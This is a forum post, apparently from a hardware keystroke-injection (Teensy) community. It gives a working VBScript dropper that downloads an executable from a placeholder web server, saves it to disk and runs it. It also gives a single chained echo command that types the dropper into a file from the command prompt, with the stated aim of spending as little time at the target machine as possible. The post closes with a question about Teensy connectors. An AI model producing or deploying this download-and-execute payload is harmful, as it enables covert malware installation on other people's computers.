then what about this?
when a vbs script is activated the command promp is imidiatly back. it doesnt wait for it to finish so i think that the code from the fisrt post wont work propperly with bigger files.
so why not let the VBS execute the file. its only 3 lines.
Dim DataBin
Dim HTTPGET
Set HTTPGET = CreateObject("Microsoft.XMLHTTP")
HTTPGET.Open "GET", "http://www.domain.com/file.exe", False
HTTPGET.Send
DataBin = HTTPGET.ResponseBody
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim test1
Set test1 = CreateObject("ADODB.Stream")
test1.Type = adTypeBinary
test1.Open
test1.Write DataBin
test1.SaveToFile "file.exe", adSaveCreateOverWrite
Set shell = CreateObject("WScript.Shell")
shell.Run Chr(34) & "file.exe" & Chr(34), 1, false
and also you can put all the echo's in 1 string. so the waiting time is less then having to wait till the promt comes back up again.
it will look something like this:
echo Dim DataBin>dl.vbs && echo Dim HTTPGET>>dl.vbs && echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP")>>dl.vbs && echo HTTPGET.Open "GET", "http://YOURWEBSErVER/test.exe", False>>dl.vbs && echo HTTPGET.Send>>dl.vbs && echo DataBin = HTTPGET.ResponseBody>>dl.vbs && echo Const adTypeBinary=1 >>dl.vbs && echo Const adSaveCreateOverWrite=2 >>dl.vbs && echo Dim test1>>dl.vbs && echo Set test1 = CreateObject("ADODB.Stream")>>dl.vbs && echo test1.Type = adTypeBinary>>dl.vbs && echo test1.Open>>dl.vbs && echo test1.Write DataBin>>dl.vbs && echo test1.SaveToFile "file.exe", adSaveCreateOverWrite>>dl.vbs && echo Set shell = CreateObject("WScript.Shell")>>dl.vbs && echo shell.Run Chr(34) ^& "file.exe" ^& Chr(34), 1, false>>dl.vbs
and then all what is left is to run it and exit CMD:
promt> dl.vbs
promt> exit
i think this is the lowest time possible being at the command promt. or someone needs to find a way to srink the VB script even more! that would be awsome!
since i didnt got selected for a dev kit i am thinking of buying my own teensy. though a q? i read that darren is useing the original one. but i checked the site and all of their stuff uses mini usb. any good/simple way for a converter (buy a self making is oke)
cheers!